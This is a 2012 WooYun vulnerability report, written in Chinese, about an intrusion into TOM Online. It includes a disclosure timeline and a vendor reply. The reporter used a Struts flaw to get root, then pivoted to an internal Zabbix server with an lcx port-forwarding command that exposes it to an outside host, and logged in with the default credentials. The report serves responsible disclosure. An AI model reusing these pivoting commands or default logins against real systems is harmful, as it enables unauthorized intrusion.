漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-014101
漏洞标题：tom在线小问题到zabbix沦陷
相关厂商：TOM在线
漏洞作者： hongygxiang
提交时间：2012-10-31 11:39
修复时间：2012-12-15 11:40
公开时间：2012-12-15 11:40
漏洞类型：命令执行
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-10-31： 细节已通知厂商并且等待厂商处理中
2012-11-03： 厂商已经确认，细节仅向厂商公开
2012-11-13： 细节向核心白帽子及相关领域专家公开
2012-11-23： 细节向普通白帽子公开
2012-12-03： 细节向实习白帽子公开
2012-12-15： 细节向公众公开
简要描述：
zabbix可以添加监控项跑命令的、接下来的事情你懂得；
发这个洞主要的目的是为了提醒大家zabbix还是得注意下
详细说明：
首先一个struts漏洞、
http://fm.tom.com/login-share/tomlogin/login.action
struts漏洞就不多解释了，
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth2 Link encap:Ethernet HWaddr 00:18:8B:83:1B:45
inet addr:172.24.205.15 Bcast:172.24.205.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:81041 errors:0 dropped:0 overruns:0 frame:0
TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
Interrupt:16 Memory:f8000000-f8012800
其次是因为 WooYun: TOM 音乐频道/短信网关/WAP等 百台服务器Root权限
这个漏洞的忽略，收藏了几个脚本、install-zabbix.sh
本身我也比较喜欢收集些脚本，学习学习。
看下面吧
吐槽下吧，做安全这么些年，运维逐步走向自动化，puppet，zabbix，ldap还是要注意下吧、屌丝们入侵也希望自动化的。
漏洞证明：
没有外网IP有点蛋疼，
curl http://172.24.162.38/zabbix/ #返回的是zabbix登陆页
确认上面信息后，首先要做一个跳转将172.24.205.15的某个端口转到172.24.162.38的80端口，然后将172.24.205.15监听的端口转到外网来，这样就可以正常访问了
看图
0.0.0.0 98 172.24.162.38 80
做的转发
然后将98端口转发到公网
./lcx -m 3 -h1 youip -p1 786 -h2 127.0.0.1 -p2 98
然后见下图
login:admin/zabbix
至于后面、、、你们懂得，
修复方案：
你们比我这屌丝专业太多了。
版权声明：转载请注明来源 hongygxiang@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：5
确认时间：2012-11-03 01:06
厂商回复：
已确认，谢谢，已提交公司相关部门处理
最新状态：
暂无